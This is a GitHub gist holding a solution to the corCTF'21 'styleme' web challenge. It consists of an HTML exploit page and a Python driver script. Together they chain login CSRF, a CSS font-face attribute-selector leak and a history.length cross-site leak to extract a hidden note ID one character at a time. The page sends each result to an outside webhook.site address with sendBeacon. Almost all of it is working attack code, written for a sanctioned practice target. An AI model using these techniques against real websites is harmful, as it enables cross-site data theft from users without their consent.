Created
August 22, 2021 22:57
-
-
Save arxenix/b20a2930299918272f1762b69b950c9b to your computer and use it in GitHub Desktop.
corCTF'21 styleme solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<title>corCTF styleme solution</title> | |
</head> | |
<body> | |
<form id="form" method="POST" action="http://chall/api/login"> | |
<input id="user" type="text" name="user" value="testu123" /> | |
<input id="pass" type="text" name="pass" value="testp123" /> | |
</form> | |
<script> | |
let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); | |
const DELAY = 600; | |
// XS-leak using history.length to check if a window is at a specified URL | |
async function isLocation(w, url) { | |
w.location = "about:blank"; | |
await sleep(DELAY); | |
let start = w.history.length; | |
w.history.back(); | |
await sleep(DELAY); | |
w.location = url; | |
await sleep(DELAY); | |
w.location = "about:blank"; | |
await sleep(DELAY); | |
let diff = w.history.length - start; | |
w.history.go(-1 - diff); | |
console.log("diff: ", diff); | |
return diff === 0; | |
} | |
// main fn | |
async function main() { | |
let guess = location.hash.substring(1); | |
if (guess === "login") { | |
// if hash is #login | |
// CSRF to login to an account | |
document.forms[0].submit(); | |
return; | |
} | |
// ID of our 2nd sheet to install | |
const pid = guess.split(",")[0]; | |
// the admin bot starts with no session. | |
// so we initialize a session cookie | |
w = window.open("http://chall/styles/i/z"); | |
await sleep(DELAY); | |
// csrf to login to an account | |
w = window.open("http://hc.lc/#login"); | |
await sleep(DELAY * 2); | |
// install the sheet with ID ${pid}. it applies to http://chall and has CSS of the form: | |
/* | |
@font-face { | |
font-family: "Pwn"; | |
src: url("http://chall/api/logout"); | |
} | |
a[href^="/styles/i/{guess}"] { | |
font-family: "Pwn"; | |
} | |
*/ | |
// because CSS loads assets only if needed, | |
// this will only hit the /api/logout endpoint | |
// if the attribute selector succeeds. | |
// It will log us out if there is a note button starting with {guess} prefix | |
w = window.open(`https://styleme.be.ax/styles/i/${pid}`); | |
await sleep(DELAY * 2); | |
// load search that has flag note in results. if matches guess prefix, we get logged out | |
w = window.open("http://chall/styles/search?query=super"); | |
await sleep(DELAY * 2); | |
// now use a location or history length xs-leak vector to check if we were logged out or not. | |
w = window.open("http://chall/styles/mine"); | |
await sleep(DELAY); | |
if (await isLocation(w, "http://chall/styles/mine")) { | |
navigator.sendBeacon( | |
"https://webhook.site/e1879606-4af8-4b4e-b8db-8e976dbd8727", | |
guess + ", loggedin" | |
); | |
} else { | |
navigator.sendBeacon( | |
"https://webhook.site/e1879606-4af8-4b4e-b8db-8e976dbd8727", | |
guess + ", loggedout" | |
); | |
} | |
} | |
main(); | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# each time we run this script, 1 char of the flag stylescript ID is exfiltrated and sent to our webhook | |
from pwn import * | |
import requests | |
import os | |
import sys | |
URL = "https://styleme.be.ax" | |
# URL = "http://localhost" | |
def register(s, user, pwd): | |
r = s.post(f"{URL}/api/register", data={"user": user, "pass": pwd}) | |
assert b"Registered as " in r.content | |
def create(s, title, css, url, hidden="on"): | |
data = { | |
"title": title, | |
"css": css, | |
"url": url, | |
"hidden": hidden | |
} | |
data = {k: v for k, v in data.items() if v is not None} | |
r = s.post(f"{URL}/api/create", data=data) | |
charset = "0123456789abcdef" | |
gen_style = lambda guess: """ | |
@font-face { | |
font-family: "Pwn"; | |
src: url("http://chall/api/logout"); | |
} | |
a[href^="/styles/i/{guess}"] { | |
font-family: "Pwn"; | |
} | |
""".replace("{guess}", guess) | |
FLAG_ID = "1393b3ffe362" | |
def submit(s, url): | |
r = s.post(f"{URL}/api/submit", data={"url": url}) | |
def search(s, q): | |
r = s.get(f"{URL}/styles/search", params={"query": q}) | |
def list_styles(s): | |
r = s.get(f"{URL}/styles/mine") | |
return r.text | |
def get_style_id(s, title): | |
styles = list_styles(s) | |
payload_id = styles.split(f"<h4>{title}")[1] | |
payload_id = payload_id.split('" class="btn btn-primary btn-sm">Install')[0] | |
payload_id = payload_id.split('/i/')[-1] | |
return payload_id | |
for c in charset: | |
BUST = os.urandom(3).hex() | |
FLAG_ID_GUESS = FLAG_ID + c | |
s = requests.Session() | |
user = os.urandom(8).hex() | |
pwd = os.urandom(8).hex() | |
print(user, pwd) | |
register(s, user, pwd) | |
payload_title = f"{user} {FLAG_ID_GUESS}" | |
print("### CREATE") | |
create(s, "pwn"+payload_title, gen_style(FLAG_ID_GUESS), f"http://chall/") | |
pwn_payload_id = get_style_id(s, "pwn"+payload_title) | |
print("PWN ID", pwn_payload_id) | |
create(s, "jmp"+payload_title, "/* noop */", f"http://hc.lc/?{BUST}#"+pwn_payload_id+","+payload_title) | |
payload_id = get_style_id(s, "jmp"+payload_title) | |
print("JMP ID", payload_id) | |
payload_url = f"{URL}/styles/i/{payload_id}" | |
print(payload_url) | |
submit(s, payload_url) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment